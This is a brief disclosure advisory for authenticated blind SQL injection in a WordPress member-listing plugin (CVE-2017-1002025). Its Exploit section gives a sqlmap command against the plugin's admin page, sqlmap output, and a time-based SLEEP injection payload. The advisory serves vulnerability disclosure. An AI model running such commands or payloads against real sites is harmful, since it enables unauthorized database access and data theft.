Authenticated blind SQL injection in add-edit-delete-listing-for-member-module v1.0
SQL Injection
CVE ID(s):
CVE-2017-1002025
Summary: The plugin author does not sanitize user supplied input via $act before passing it into an SQL statement.
Notified: 2017-07-05
Description:
This plugin used for add edit delete and listing module at admin side.
Exploit:
$ sqlmap -u 'http://example.com/wp-admin/admin.php?page=member_add&act=upd&id=*' --load-cookies=./cookie.txt --level=2 --risk=2 --dbms=mysql
sqlmap identified the following injection point(s) with a total of 339 HTTP(s) requests:
---
Parameter: #1* (URI)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 time-based blind - Parameter replace
Payload: http://example.com:80/wp-admin/admin.php?page=member_add&act=upd&id=(CASE WHEN (1410=1410) THEN SLEEP(5) ELSE 1410 END)
---
[21:59:47] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 16.04 (xenial)
web application technology: Apache 2.4.18
back-end DBMS: MySQL >= 5.0.12
[21:59:47] [INFO] fetched data logged to text files under '/home/larry/.sqlmap/output/example.com'
[*] shutting down at 21:59:47